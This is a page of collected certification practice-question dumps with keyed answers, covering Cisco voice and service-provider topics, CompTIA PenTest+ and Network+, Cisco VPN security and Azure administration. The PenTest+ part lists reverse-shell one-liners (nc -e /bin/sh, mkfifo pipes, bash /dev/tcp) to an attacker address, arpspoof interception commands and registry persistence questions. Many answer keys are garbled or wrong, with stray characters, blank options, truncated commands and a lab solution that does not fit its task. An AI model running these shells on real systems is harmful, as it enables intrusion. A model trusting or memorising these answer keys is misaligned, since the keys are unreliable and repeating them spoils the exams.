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QUESTION 1 You configure a Cisco Unity Express module to integrate with Cisco Unified Communications Manager Express. You can use the following command to connect to the module from the Cisco Unified Communications Manager Express CLI: ABC_CORP#service-module integrated-Service-Engine 0/0 session Trying 10.1.10.2, 2002 … Open se-10-1-10-1# However, you cannot pint the module from Cisco Unified Communications Manager Express and cannot use a web browser to connect the module. You see this message: ABC_CORP#ping 10.1.10.1 Type escae sequence to abort. Sending 5, 100-byte ICMP Echos to 10.1.10.1, timeout is 2 seconds: Success rate is 0 percent (0/5) How can you fix this problem? A. Enable ICMP and web service on the Cisco Unity Express module. B. Enable the ISM interface on Cisco Unified Communications Manager Express. C. Add an IP address to the ISM interface in the same subnet as Cisco Unified Communications Manager Express. D. Add a host route from Cisco Unified Communications Manager Express to Cisco Unity via the ISM interface. Correct Answer: C
QUESTION 2 Which two transfer types are used by Cisco Unity Connection to process more calls quickly? (Choose two.) A. No Holding Transfer B. Release to VPIM C. Supervise Transfer D. Release to Switch E. Say Good-Bye Correct Answer: CD
QUESTION 3 What is the maximum number of users that can be imported into Cisco Unity Express from Cisco Unified Communications Manager Express at one time? A. 200 B. 100 C. 500 D. 50 Correct Answer: Aa
QUESTION 4 When importing users into Cisco Unity Connection by using AXL, what can cause a user not to be listed in the import view? A. if the user primary extension is set to “none” on Cisco Unified Communications Manager B. if the userdigest credentials are not set C. if the userwas imported into Cisco Unified Communications Manager by usingLDAP D. if the user is not assigned to the Standard CTI Enabled access control group on Cisco Unified Communications Manager Correct Answer: A
QUESTION 5 What is the procedure for importing users from Cisco Unified Communications Manager Express into Cisco Unity Express? A. Create the username and password in Cisco Unified Communications Manager Express, configure Cisco Unity Express with the CLI administrator username and password, and use the CLI synchronization command under telephony-services to import as many users as are supported by Cisco Unified Communications Manager Express. B. Create the username and password in Cisco Unified Communications Manager Express, configure Cisco Unity Express with the web administrator username and password, and click Synchronize Information under the Administration menu to import as many users as are supported by Cisco Unified Communications Manager Express. C. Create the username and password in Cisco Unified Communications Manager Express, configure Cisco Unity Express with the CLI administrator username and password, and use the CLI synchronization command under telephony-services to import up to 200 users from Cisco Unified Communications Manager Express. D. Create the username and password in Cisco Unified Communications Manager Express, configure Cisco Unity Express with the web administrator username and password, and click Synchronize Information under the Administration menu to import up to 100 users from Cisco Unified Communications Manager Express. E. Create the username and password in Cisco Unified Communications Manager Express, configure Cisco Unity Express with the web administrator username and password, and click Synchronize Information under the Administration menu to import up to 200 users from Cisco Unified Communications Manager Express. Correct Answer: E
QUESTION 6 Which can be used in the jabber-config.xml file to enable UDS? A. True B. True C. UDS D. UDS Correct Answer: C
QUESTION 7 You are trying to add Cisco VCS to Cisco TMS, but the addition is failing. Which three scenarios might be causing this failure? (Choose three.) A. Cisco TMS is running a version earlier than 12.5. B. Cisco TMS was not upgraded before adding Cisco VCS. C. Cisco TMS and Cisco VCS do not have synchronized time settings. D. SNMP is not enabled on Cisco VCS. E. UDP port 161 is blocked on the network. F. The management address on Cisco VCS does not match the Cisco TMS IP address. Correct Answer: DEF
QUESTION 8 Which three options are used when setting up connectivity between Cisco Unified Communications Manager and Cisco Presence Server? (Choose three.) A. SIP trunk B. conference bridge C. SIP trunk security profile D. SIP profile E. remote destination profile Correct Answer: ACD
QUESTION 9 In which two scenarios would a caller who is calling into the Cisco Unity Connection general pilot number hear the opening greeting of the voice-mail system and be prompted for a user ID and PIN? (Choose two.) A. non-subscriber B. subscriber who sends the calling number C. subscriber who does not send the calling number D. A SIP phone user will always be prompted for a user ID and PIN. E. An SCCP phone user will always be prompted for a user ID and PIN. F. The scenario is invalid. Correct Answer: AC
QUESTION 10 Which jabber-config.xml variable do you use to allow remote Jabber users to connect using Collaboration Edge? A. B. C. D. YES E. TRUE Correct Answer: B
QUESTION 11 Where do you navigate to within Cisco TMS to place a call? A. Systems > Navigator > Endpoint > Call Status B. Systems > Monitoring > Endpoint > Place Call C. Endpoint > Navigator > Call Status D. Booking > List Conferences > Place Call E. Systems > Navigator > Manage Dial Plan > Place Call F. Systems > Navigator > Provisioning > Place Call Correct Answer: A
QUESTION 12 In which three of the following cases can VPIM Networking be used for messaging? (Choose three.) A. Cisco Unity systems where the partner Microsoft Exchange Servers are in different Active Directory forests B. Cisco Unity with Microsoft Exchange 2000 or Microsoft Exchange 2003, and Cisco Unity with Lotus Domino C. Cisco Unity and Cisco Unity Express D. Cisco Unity and the Cisco Presence Server E. Cisco Unity and Cisco Unified Communication Manager F. Cisco Unity and Cisco Unified Contact Center Express Correct Answer: ABC
QUESTION 13 Which codec is supported in Cisco Unity Express? A. G.711 B. G.721 C. G.729 D. Q.850 E. Q.931 F. Q.2931 Correct Answer: A
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QUESTION 1 In Cisco IOS, what must be configured to ensure that an MPLS TE tunnel becomes active? A. layer 3 addressing on the tunnel, to establish bidirectional communication over the tunnel B. the tunnel for autoroute, to ensure proper installation into the forwarding plane C. a path-option configuration, for either dynamic or explicit paths D. the tunnel with a minimum bandwidth value, to properly calculate CSPF Correct Answer: A
QUESTION 2 When implementing Cisco MPLS TE, the constrained-based path calculations will use which value as the TE cost of each link within the MPLS domain? A. By default, it will use the IGP metric, or each link can be assigned a specific value using the admin-weight command. B. It can only use the IGP metric as the TE cost. C. It will use the interface bandwidth as the TE cost. D. Each link must be assigned a TE cost using the metric command. Correct Answer: A
QUESTION 3 The Cisco IOS and IOS XE qos pre-classify command allows which kind of packet classification on IP packets that are encapsulated with GRE and IPsec? A. allows for packets to be classified based on the ToS byte values before packet encryption B. allows for packets to be classified based on the ToS byte values after packet encryption C. allows for packets to be classified based on the packet payload before packet encryption D. allows for packets to be classified based on the packet payload after packet encryption E. allows for packets to be classified based on the packet header parameters other than the ToS byte values after packet encryption Correct Answer: E
QUESTION 4 An engineer must automatically copy the IP Prec/DiffServ PHB marking to the EXP bits of the imposed MPLS label on the ingress PE, as well as the MPLS EXP bits to the IP Prec/DiffServ of the egress PE. Which MPLS QoS model is suitable for this requirement? A. pipe model B. short-pipe model C. uniform model D. uniform pipe model Correct Answer: C
QUESTION 5 Refer to the exhibit. From which table was the information obtained?
A. FIB B. CEF C. LIB D. LFIB Correct Answer: D
QUESTION 6 Which two traffic types are recognized by NBAR default configuration settings? (Choose two.) A. HTTP URL B. Sun RPC C. TCP D. UDP E. HTTPS URL Correct Answer: AB
QUESTION 7 Which Cisco IOS XR command should be used in order to enable LDP on all interfaces for which the IGP protocol is enabled? A. RP/0/0/CPU0:R1(config-ospf)#mpls ldp auto-config B. RP/0/0/CPU0:R1(config-ospf)#mpls ldp interface all enable C. RP/0/0/CPU0:R1(config-ospf)#enable all D. RP/0/0/CPU0:R1(config-ldp)#enable all Correct Answer: A
QUESTION 8 Implementing IPoDWDM interfaces on Cisco CRS routers eliminates the need for which network component? A. ROADM B. external transponders C. electrical-optical-electrical converters D. electrical cross-connect Correct Answer: B IP over DWDM (IPoDWDM) is a technology used in telecommunications networks to integrate IP Routers and Switches in the OTN (Optical Transport Network).
QUESTION 9 A service provider runs MPLS in its core. What is the relationship between FIB, LIB, and LFIB in this environment? A. Data from the FIB and LIB tables is used to generate the LFIB B. The FIB, LIB, and LFIB are populated independently C. The LIB and FIB are populated with labels and next-hop attributes in the control plane and are used to populate the LFIB D. The LFIB is populated with information from the IP routing table and is shared with the FIB and LIB to assign labels to the path Correct Answer: A
QUESTION 10 Which queuing mechanism should an engineer implement on delay sensitive categories of traffic? A. weighted fair B. priority C. low-latency D. weighted round-robin Correct Answer: C
QUESTION 11 A network engineer must analyze RSVP-TE signaling on a syslog server. Which three RSVP messages are valid? (Choose three.) A. RSVP PATH B. RSVP RESERVATION C. RSVP ESTABLISHED D. RSVP PATH TEAR E. RSVP KILL F. RSVP INIT Correct Answer: ABD
QUESTION 12 Which are typical class-based marking policies that are implemented on service provider IP NGN PE routers? A. On the PE ingress, classify the customer traffic and then mark with qos-group. On the PE egress, classify based on the qos-group and then mark with mpls exp. B. On the PE ingress, classify the customer traffic and then mark with mpls exp. On the PE egress, classify based on the mpls exp and then mark with qos-group. C. On the PE ingress, trust the customer QoS markings. On the PE egress, classify based on the customer QoS markings and then mark with qos-group. D. On the PE ingress, trust the customer QoS markings. On the PE egress, classify based on the customer QoS markings and then mark with mpls exp. Correct Answer: A
QUESTION 13 Which Cisco IOS XR high-availability feature is used to prevent routes from being used before LDP converges? A. LDP session protection B. LDP-IGP synchronization C. BFD D. IGP session protection Correct Answer: B
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CompTIA PenTest+ assesses the most up-to-date penetration testing, and vulnerability assessment and management skills necessary to determine the resiliency of the network against attacks.
Successful candidates will have the intermediate skills required to customize assessment frameworks to effectively collaborate on and report findings.
Candidates will also have the best practices to communicate recommended strategies to improve the overall state of IT security.
CompTIA PenTest+ PT0-001 Online Exam Practice Questions
QUESTION 1 Consumer-based IoT devices are often less secure than systems built for traditional desktop computers. Which of the following BEST describes the reasoning for this? A. Manufacturers developing IoT devices are less concerned with security. B. It is difficult for administrators to implement the same security standards across the board. C. IoT systems often lack the hardware power required by more secure solutions. D. Regulatory authorities often have lower security requirements for IoT systems. Correct Answer: A
QUESTION 2 A tester has determined that null sessions are enabled on a domain controller. Which of the following attacks can be performed to leverage this vulnerability? A. RID cycling to enumerate users and groups B. Pass the hash to relay credentials C. Password brute forcing to log into the host D. Session hijacking to impersonate a system account Correct Answer: A
QUESTION 3 During an internal network penetration test, a tester recovers the NTLM password hash tor a user known to have full administrator privileges on a number of target systems Efforts to crack the hash and recover the plaintext password have been unsuccessful Which of the following would be the BEST target for continued exploitation efforts? A. Operating system Windows 7 Open ports: 23, 161 B. Operating system Windows Server 2016 Open ports: 53, 5900 C. Operating system Windows 8 1 Open ports 445, 3389 D. Operating system Windows 8 Open ports 514, 3389 Correct Answer: C
QUESTION 4 A malicious user wants to perform an MITM attack on a computer. The computer network configuration is given below: IP: 192.168.1.20 NETMASK: 255.255.255.0 DEFAULT GATEWAY: 192.168.1.254 DHCP: 192.168.1.253 DNS: 192.168.10.10, 192.168.20.10 Which of the following commands should the malicious user execute to perform the MITM attack? A. arpspoof -c both -r -t 192.168.1.1 192.168.1.20 B. arpspoof -t 192.168.1.20 192.168.1.254 C. arpspoof -c both -t 192.168.1.20 192.168.1.253 D. arpspoof -r -t 192 .168.1.253 192.168.1.20 Correct Answer: B Reference: https://www.hackers-arise.com/single-post/2017/07/25/Man-the-Middle-MiTM-Attack-with-ARPspoofing
QUESTION 5 While trying to maintain persistence on a Windows system with limited privileges, which of the following registry keys should the tester use? A. HKEY_CLASSES_ROOT B. HKEY_LOCAL_MACHINE C. HKEY_CURRENT_USER D. HKEY_CURRENT_CONFIG Correct Answer: C Reference: https://www.redcanary.com/blog/windows-registry-attacks-threat-detection/
QUESTION 7 During an internal penetration test, several multicast and broadcast name resolution requests are observed traversing the network. Which of the following tools could be used to impersonate network resources and collect authentication requests? A. Ettercap B. Tcpdump C. Responder D. Medusa Correct Answer: C
QUESTION 8 During a penetration test, a tester runs a phishing campaign and receives a shell from an internal PC running Windows 10 OS. The tester wants to perform credential harvesting with Mimikazt. Which of the following registry changes would allow for credential caching in memory?
A. B. C. D. Correct Answer: D
QUESTION 9 The results of a basic compliance scan show a subset of assets on a network. This data differs from what is shown on the network architecture diagram, which was supplied at the beginning of the test. Which of the following are the MOST likely causes for this difference? (Select TWO) A. Storage access B. Limited network access C. Misconfigured DHCP server D. Incorrect credentials E. Network access controls Correct Answer: AB
QUESTION 10 During a web application assessment, a penetration tester discovers that arbitrary commands can be executed on the server. Wanting to take this attack one step further, the penetration tester begins to explore ways to gain a reverse shell back to the attacking machine at 192.168.1.5. Which of the following are possible ways to do so? (Select TWO) A. nc 192.168.1.5 44444 B. nc -nlvp 4444 -e /bin/sh C. rm /tmp/f; mkfifo /tmp/f; cat /tmp/f| /bin/sh -I 2>and1|nc 192.168.1.5 44444>/tmp /f D. nc -e /bin/sh 192.168.1.5 4444 E. rm /tmp/f; mkfifo /tmp/f; cat /tmp/f| /bin/sh -I 2>and1|nc 192.168.1.5 444444>/tmp /f F. rm /tmp/f; mkfifo /tmp/f; cat /tmp/f| /bin/sh -I 2>and1|nc 192.168.5.1 44444>/tmp /f Correct Answer: DF
QUESTION 11 A penetration tester wants to launch a graphic console window from a remotely compromised host with IP 10.0.0.20 and display the terminal on the local computer with IP 192.168.1.10. Which of the following would accomplish this task? A. From the remote computer, run the following commands: Export IHOST 192.168.1.10:0.0 xhost+ Terminal B. From the local computer, run the following command ssh -L4444 : 127.0.01:6000 -% [email protected] xterm C. From the local computer, run the following command ssh -r6000 : 127.0.01:4444 -p 6000 [email protected] “xhost+; xterm” D. From the local computer, run the following command Nc -1 -p 6000 Then, from the remote computer, run the following command Xterm | nc 192.168.1.10 6000 Correct Answer: A
QUESTION 12 A penetration tester compromises a system that has unrestricted network over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the penetration tester mostly like use? A. perl -e ` use SOCKET\\’; $i=\\’; $p=\\’443; B. ssh [email protected] -p 443 C. nc -e /bin/sh 443 D. bash -i >and /dev/tcp// 443 0>and1 Correct Answer: A References: https://hackernoon.com/reverse-shell-cf154dfee6bd
QUESTION 13 A security consultant receives a document outlining the scope of an upcoming penetration test. This document contains IP addresses and times that each can be scanned. Which of the following would contain this information? A. Rules of engagement B. Request for proposal C. Master service agreement D. Business impact analysis Correct Answer: A
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CompTIA Network+ N10-007 has been updated and reorganized to address the current networking technologies with expanded coverage of several domains by adding:
Critical security concepts to helping networking professionals work with security practitioners
Key cloud computing best practices and typical service models
Coverage of newer hardware and virtualization techniques
Concepts to give individuals the combination of skills to keep the network resilient
CompTIA Network+ N10-007 Online Exam Practice Questions
QUESTION 1 A technician is troubleshooting a problem with a network printer. The technician thinks the network printer is out of paper and ink. Which of the following should the technician do NEXT? A. Implement the solution B. Question users C. Test the theory D. Escalate the problem Correct Answer: C
QUESTION 2 A network administrator is assigned to run and connect a Cat 6e Ethernet cable between two nodes in a datacenter. Which of the following connector types should the network administrator use to terminate this cable? A. DB-9 B. RS-232 C. DB-25 D. RJ-45 Correct Answer: D
QUESTION 3 Which of the following is used to classify network data for the purpose of providing QoS? A. STP B. VLANs C. SIP D. DSCP Correct Answer: D
QUESTION 4 Jeff, a technician, has been asked to add a subnet to the company\\’s LAN. Which of the following interfaces on the router will be modified? A. FastEthernet 0/0 B. AUX 0 C. Console 0 D. Serial 0/0/0 Correct Answer: A
QUESTION 5 A network administrator is setting up a web-based application that needs to be continually accessible to the end users. Which of the following concepts would BEST ensure this requirement? A. High availability B. Snapshots C. NIC teaming D. Cold site Correct Answer: A
QUESTION 6 Which of the following protocols are used to connect devices in a secure manner? (Select TWO). A. TELNET B. SSH C. RDP D. HTTP E. DNS F. FTP Correct Answer: BC
QUESTION 7 The IT manager at a small firm is in the process of renegotiating an SLA with the organization\\’s ISP. As part of the agreement, the organization will agree to a dynamic bandwidth plan to provide 150Mbps of bandwidth. However, if the ISP determines that a host on the organization\\’s internal network produces malicious traffic, the ISP reserves the right to reduce available bandwidth to 1.5 Mbps. Which of the following policies is being agreed to in the SLA? A. Session hijacking B. Blocking C. Throttling D. Data usage limits E. Bandwidth quotasf Correct Answer: C
QUESTION 8 Which of the following storage network technologies inherently leverages block-level storage? A. NAS B. SAN C. FCoE D. iSCSI E. FTP Correct Answer: A
QUESTION 9 A junior network technician receives a help desk ticket from an end user who is having trouble accessing a web application that was working the previous day. After talking with the end user and gathering information about issue, which of the following would be the most likely course of action for the technician to perform next? A. Establish a theory of probable cause. B. Escalate the ticket to a senior technician. C. Implement the solution. D. Document the findings and outcomes. Correct Answer: A
QUESTION 10 A company is allowing its employees to use their personal computers, tables, and loT devices while at work. However, there are rules and guidelines to which employees must adhere. Which of the following documents applies to these employees? A. NDA B. SOP C. BYOD D. SLA Correct Answer: C
QUESTION 11 Which of the following provides two factor authentication? A. Username+ password B. Smartcard +PIN C. Fingerprint +retina scan D. Key fob +ID card Correct Answer: B
QUESTION 12 A technician must determine if a web page user\\’s visits are connecting to a suspicious website\\’s IP address in the background. Which of the following tools would provide the information on TCP connections? A. netstat B. tracert C. arp D. ipconfig E. route Correct Answer: A
QUESTION 13 A network technician is creating a new subnet for 488 host machines. The technician is told to use a class B address scheme when making the subnet and is instructed to leave as much room as possible for additional subnets of the same size. Which of the following subnets would fulfill these requirements? A. 10.5.4.0/22 B. 10.233.2.0/23 C. 172.16.0.0/22 D. 172.18.0.0/23 E. 192.168.25.0/24 Correct Answer: D
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Cisco CCNP Security 300-209 Online Exam Practice Questions
QUESTION 1 Which option is a possible solution if you cannot access a URL through clientless SSL VPN with Internet Explorer, while other browsers work fine? A. Verify the trusted zone and cookies settings in your browser. B. Make sure that you specified the URL correctly. C. Try the URL from another operating system. D. Move to the IPsec client. Correct Answer: A
QUESTION 2 A private wan connection is suspected of intermittently corrupting data. Which technology can a network administrator use to detect and drop the altered data traffic? A. AES-128 B. RSA Certificates C. SHA2-HMAC D. 3DES E. Diffie-Helman Key Generation Correct Answer: C
QUESTION 3 Refer to the exhibit. Which exchange does this debug output represent?
A. IKE Phase 1 B. IKE Phase 2 C. symmetric key exchange D. certificate exchange Correct Answer: A
QUESTION 4 Which Cisco ASA configuration is used to configure the TCP intercept feature? A. a TCP map B. an access list C. the established command D. the set connection command with the embryonic-conn-max option E. a type inspect policy map Correct Answer: D
QUESTION 5 An engineer is configuring a site-to-site VPN tunnel. Which two IKEv1 parameters must match on both peers? (Choose two.) A. encryption algorithm B. access lists C. encryption domains D. QoS E. hashing method Correct Answer: AE
QUESTION 6
Refer to the exhibit. You are implementing DMVPN Phase 3 in an existing network that uses DMVPN Phase1. You configure NHRP, but the creation of the spoke-to-spoke tunnel fails. Which action do you take to resolve the issue? A. Remove the multicast flag from the NHRP configuration. B. Configure the tunnel of the hub by using point-to-point tunnel mode. C. Configure the tunnel of the spoke by using mGRE tunnel mode. D. Remove NHRP redirects from the hub configuration. Correct Answer: C Reference: http://www.patrickdenis.biz/blog/dmvpn-phase-1-2-and-3/
QUESTION 7 Which protocol must be enabled on the inside interface to use cluster encryption in SSL VPN load balancing? A. TLS B. DTLS C. IKEv2 D. ISAKMP Correct Answer: D
QUESTION 8 Refer to the Exhibit. Which statement is accurate based on this configuration?
A. Spoke 1 fails the authentication because the authentication methods are incorrect. B. Spoke 2 passes the authentication to the hub and successfully proceeds to phase 2. C. Spoke 1 passes the authentication to the hub and successfully proceeds to phase 2. D. Spoke 2 fails the authentication because the remote authentication method is incorrect. Correct Answer: C
QUESTION 9 A customer requires site-to-site VPNs to connect to third party business partners and has purchased two ASAs. The customer requests an active/active configuration. Winch mode is needed to support and active/active solution? A. single context B. NAT context C. PAT context D. multiple context Correct Answer: D
QUESTION 10 Which two RADIUS attributes are needed for a VRF-aware FlexVPN hub? (Choose two.) A. ip:interface-config=ip unnumbered loobackn B. ip:interface-config=ip vrf forwarding ivrf C. ip:interface-config=ip src route D. ip:interface-config=ip next hop E. ip:interface-config=ip neighbor 0.0.0.0 Correct Answer: AB
QUESTION 11 An engineer wants to ensure that Diffie-Helman keys are re-generated upon a pahse-2 rekey. What option can be configured to allow this? A. Aggressive mode B. Dead-peer detection C. Main mode D. Perfect-forward secrecy Correct Answer: D
QUESTION 13 Which command identifies an AnyConnect profile that was uploaded to the router flash? A. crypto vpn anyconnect profile SSL_profile flash:simos-profile.xml B. svc import profile SSL_profile flash:simos-profile.xml C. anyconnect profile SSL_profile flash:simos-profile.xml D. webvpn import profile SSL_profile flash:simos-profile.xml Correct Answer: A
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Candidates for this exam are Azure Administrators who manage cloud services that span storage, security, networking, and compute cloud capabilities. Candidates have a deep understanding of each service across the full IT lifecycle and take requests for infrastructure services, applications, and environments. They make recommendations on services to use for optimal performance and scale, as well as provision, size, monitor, and adjust resources as appropriate. Candidates for this exam should have proficiency in using PowerShell, the Command Line Interface, Azure Portal, ARM templates, operating systems, virtualization, cloud infrastructure, storage structures, and networking. Related exams: Microsoft Azure AZ-103
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Latest effective Microsoft Azure AZ-100 Exam Practice Tests
QUESTION 1 You plan to automate the deployment of a virtual machine scale set that uses the Windows Server 2016 Datacenter image. You need to ensure that when the scale set virtual machines are provisioned, they have web server components installed. Which of the following two actions should you perform? Each correct answer presents part of the solution. NOTE Each correct selection is worth one point. A. Create an Azure policy. B. Upload a configuration script. C. Create a new virtual machine scale set in the Azure portal. D. Modify the extension profile section of the Azure Resource Manager template. Correct Answer: CD
QUESTION 2 You have an Azure Active Directory (Azure AD), tenant. You have an existing Azure AD conditional access policy named Policy1. Policy1 enforces the use of Azure AD-joined devices when members of the Global Administrators group authenticate to Azure AD from untrusted locations. You need to ensure that members of the Global Administrators group will also be forced to use multi-factor authentication when authenticating from untrusted locations. What should you do? A. From the Azure portal, modify session control of Policy1 B. From the multi-factor authentication page, modify the service settings C. From the multi-factor authentication page, modify the user settings D. From the Azure portal, modify grant control of Policy1 Correct Answer: D There are two types of controls: Grant controls -To gate access Session controls -To restrict access to a session Grant controls oversee whether a user can complete authentication and reach the resource that they\\’re attempting to sign-in to. If you have multiple controls selected, you can configure whether all of them are required when your policy is processed. The current implementation of Azure Active Directory enables you to set the following grant control requirements:
QUESTION 3 You need to move the blueprint files to Azure. What should you do? A. Generate a shared access signature (SAS). Map a drive, and then copy the files by using File Explorer. B. Use the Azure Import/Export service. C. Generate an access key. Map a drive, and then copy the files by using File Explorer. D. Use Azure Storage Explorer to copy the files. Correct Answer: D
QUESTION 4 You have an Azure subscription that contains the resources in the following table.
Subnet1 is associated with VNet1. NIC1 attaches VM1 to Subnet1. You need to apply ASG1 to VM1. What should you do? A. Modify the properties of NSG1. B. Modify the properties of ASG1. C. Associate NIC1 to ASG1. Correct Answer: B When you deploy VMs, make them members of the appropriate ASGs. You associate the ASG with a subnet. References: https://azure.microsoft.com/en-us/blog/applicationsecuritygroups/
QUESTION 5 HOTSPOT You have an Azure subscription named Subscription1. You plan to deploy an Ubuntu Server virtual machine named VM1 to Subscription1. You need to perform a custom deployment of the virtual machine. A specific trusted root certification authority (CA) must be added during the deployment. What should you do? To answer, select the appropriate options in the answer area. NOTE: Each correct selection is worth one point. Hot Area:
Correct Answer:
Explanation: Box 1: Unattend.xml In preparation to deploy shielded VMs, you may need to create an operating system specialization answer file. On Windows, this is commonly known as the “unattend.xml” file. The New-ShieldingDataAnswerFile Windows PowerShell function helps you do this. Starting with Windows Server version 1709, you can run certain Linux guest OSes in shielded VMs. If you are using the System Center Virtual Machine Manager Linux agent to specialize those VMs, the New- ShieldingDataAnswerFile cmdlet can create compatible answer files for it. Box 2: The Azure Portal You can use the Azure portal to deploy a Linux virtual machine (VM) in Azure that runs Ubuntu. References: https://docs.microsoft.com/en-us/azure/virtual-machines/linux/quick-create-portal
QUESTION 6 DRAG DROP You have two Azure virtual machines named VM1 and VM2. VM1 has a single data disk named Disk1. You need to attach Disk1 to VM2. The solution must minimize downtime for both virtual machines. Which four actions should you perform in sequence? To answer, move the appropriate actions from the list of actions to the answer area and arrange them in the correct order. Select and Place:
Correct Answer:
Explanation: Step 1: Stop VM1. Step 2: Detach Disk1 from VM1. Step 3: Start VM1. Detach a data disk using the portal 1. In the left menu, select Virtual Machines. 2. Select the virtual machine that has the data disk you want to detach and click Stop to deallocate the VM. 3. In the virtual machine pane, select Disks. 4. At the top of the Disks pane, select Edit. 5. In the Disks pane, to the far right of the data disk that you would like to detach, click the Detach button image detach button. 6. After the disk has been removed, click Save on the top of the pane. 7. In the virtual machine pane, click Overview and then click the Start button at the top of the pane to restart the VM. 8. The disk stays in storage but is no longer attached to a virtual machine. Step 4: Attach Disk1 to VM2 Attach an existing disk Follow these steps to reattach an existing available data disk to a running VM. 1. Select a running VM for which you want to reattach a data disk. 2. From the menu on the left, select Disks. 3. Select Attach existing to attach an available data disk to the VM. 4. From the Attach existing disk pane, select OK. References: https://docs.microsoft.com/en-us/azure/virtual-machines/windows/detach-disk https://docs.microsoft.com/en-us/azure/lab-services/devtest-lab-attach-detach-data-disk
QUESTION 7 Note: This question is part of a series of questions that present the same scenario. Each question in the series contains a unique solution that might meet the stated goals. Some question sets might have more than one correct solution, while others might not have a correct solution. After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not appear in the review screen. You have a computer named Computer1 that has a point-to-site VPN connection to an Azure virtual network named VNet1. The point-to-site connection uses a self-signed certificate. From Azure, you download and install the VPN client configuration package on a computer named Computer2. You need to ensure that you can establish a point-to-site VPN connection to VNet1 from Computer2. Solution: You modify the Azure Active Directory (Azure AD) authentication policies. Does this meet this goal? A. Yes B. No Correct Answer: B
QUESTION 8 You have an on-premises network that contains a Hyper-V host named Host1. Host1 runs Windows Server 2016 and hosts 10 virtual machines that run Windows Server 2016. You plan to replicate the virtual machines to Azure by using Azure Site Recovery. You create a Recovery Services vault named ASR1 and Hyper-V site named Site1. You need to add Host1 to ASR1. What should you do? A. Download the installation file for the Azure Site Recovery Provider. Download the vault registration key. Install the Azure Site Recovery Provider on Host1 and register the server. B. Download the installation file for the Azure Site Recovery Provider. Download the storage account key. Install the Azure Site Recovery Provider on each virtual machine and register the virtual machines. C. Download the installation file for the Azure Site Recovery Provider. Download the vault registration key. Install the Azure Site Recovery Provider on each virtual machine and register the virtual machines. D. Download the installation file for the Azure Site Recovery Provider. Download the storage account key. Install the Azure Site Recovery Provider on Host1 and register the server. Correct Answer: A
Download the Vault registration key. You need this when you install the Provider. The key is valid for five days after you generate it. Install the Provider on each VMM server. You don\\’t need to explicitly install anything on Hyper-V hosts. Incorrect Answers: B, D: Use the Vault Registration Key, not the storage account key. References: https://docs.microsoft.com/en-us/azure/site-recovery/migrate-tutorial-on-premises-azure
QUESTION 9 Note: This question is part of a series of questions that present the same scenario. Each question in the series contains a unique solution that might meet the stated goals. Some question sets might have more than one correct solution, while others might not have a correct solution. After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not appear in the review screen. You manage a virtual network named VNet1 that is hosted in the West US Azure region. VNet1 hosts two virtual machines named VM1 and VM2 that run Windows Server. You need to inspect all the network traffic from VM1 to VM2 for a period of three hours. Solution: From Performance Monitor, you create a Data Collector Set (DCS). Does this meet the goal? A. Yes B. No Correct Answer: B You should use Azure Network Watcher. References: https://docs.microsoft.com/en-us/azure/network-watcher/network-watcher-monitoring-overview
QUESTION 10 You have two Azure virtual machines named VM1 and VM2. You have two Recovery Services vaults named RSV1 and RSV2. VM2 is protected by RSV1. You need to use RSV2 to protect VM2. What should you do first? A. From the RSV1 blade, click Backup items and stop the VM2 backup. B. From the RSV1 blade, click Backup Jobs and export the VM2 job. C. From the RSV2 blade, click Backup. From the Backup blade, select the backup for the virtual machine, and then click Backup. D. From the VM2 blade, click Disaster recovery, click Replication settings, and then select RSV2 as the Recovery Services vault. Correct Answer: D References: https://docs.microsoft.com/en-us/azure/backup/backup-azure-vms-first-look-arm
QUESTION 11 DRAG DROP You have an Azure Active Directory (Azure AD) tenant that has the initial domain name. You have a domain name of contoso.com registered at a third-party registrar. You need to ensure that you can create Azure AD users that have names containing a suffix of @contoso.com. Which three actions should you perform in sequence? To answer, move the appropriate cmdlets from the list of cmdlets to the answer area and arrange them in the correct order. Select and Place:
QUESTION 12 Note: This question is part of a series of questions that present the same scenario. Each question in the series contains a unique solution that might meet the stated goals. Some question sets might have more than one correct solution, while others might not have a correct solution. After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not appear in the review screen. You have an Azure subscription named Subscription1. Subscription1 contains a resource group named RG1. RG1 contains resources that were deployed by using templates. You need to view the date and time when the resources were created in RG1. Solution: From the Subscriptions blade, you select the subscription, and then click Programmatic deployment. Does this meet the goal? A. Yes B. No Correct Answer: B
QUESTION 13 SIMULATION Overview The following section of the exam is a lab. In this section, you will perform a set of tasks in a live environment. While most functionality will be available to you as it would be in a live environment, some functionality (e.g., copy and paste, ability to navigate to external websites) will not be possible by design. Scoring is based on the outcome of performing the tasks stated in the lab. In other words, it doesn\\’t matter how you accomplish the task, if you successfully perform it, you will earn credit for that task. Labs are not timed separately, and this exam may have more than one lab that you must complete. You can use as much time as you would like to complete each lab. But, you should manage your time appropriately to ensure that you are able to complete the lab(s) and all other sections of the exam in the time provided. Please note that once you submit your work by clicking the Next button within a lab, you will NOT be able to return to the lab. To start the lab You may start the lab by clicking the Next button. You plan to prevent users from accidentally deleting blob data from Azure. You need to ensure that administrators can recover any blob data that is deleted accidentally from the storagelod8095859 storage account for 14 days after the deletion occurred. What should you do from the Azure portal? Correct Answer: See below.
Task A: Create a Recovery Services vault (if a vault already exists skip this task, go to Task B below) A1. From Azure Portal, On the Hub menu, click All services and in the list of resources, type Recovery Services and click Recovery Services vaults. If there are recovery services vaults in the subscription, the vaults are listed. A2. On the Recovery Services vaults menu, click Add.
Task B. Create a backup goal B1. On the Recovery Services vault blade (for the vault you just created), in the Getting Started section, click Backup, then on the Getting Started with Backup blade, select Backup goal. A3. The Recovery Services vault blade opens, prompting you to provide a Name, Subscription, Resource group, and Location
The Backup Goal blade opens. If the Recovery Services vault has been previously configured, then the Backup Goal blades open when you click Backup on the Recovery Services vault blade. B2. From the Where is your workload running? drop-down menu, select Azure.
B3. From the What do you want to backup? menu, select Blob Storage and click OK. B4. Finish the Wizard. Task C. create a backup schedule C1. Open the Microsoft Azure Backup agent. You can find it by searching your machine for Microsoft Azure Backup.
C2. In the Backup agent\\’s Actions pane, click Schedule Backup to launch the Schedule Backup Wizard.
C3. On the Getting started page of the Schedule Backup Wizard, click Next. C4. On the Select Items to Backup page, click Add Items. The Select Items dialog opens. C5. Select Blob Storage you want to protect, and then click OK. C6.In the Select Items to Backup page, click Next. On the Specify Backup Schedule page, specify Schedule a backup every day, and click Next.
C7. On the Select Retention Policy page, set it to 14 days, and click Next.
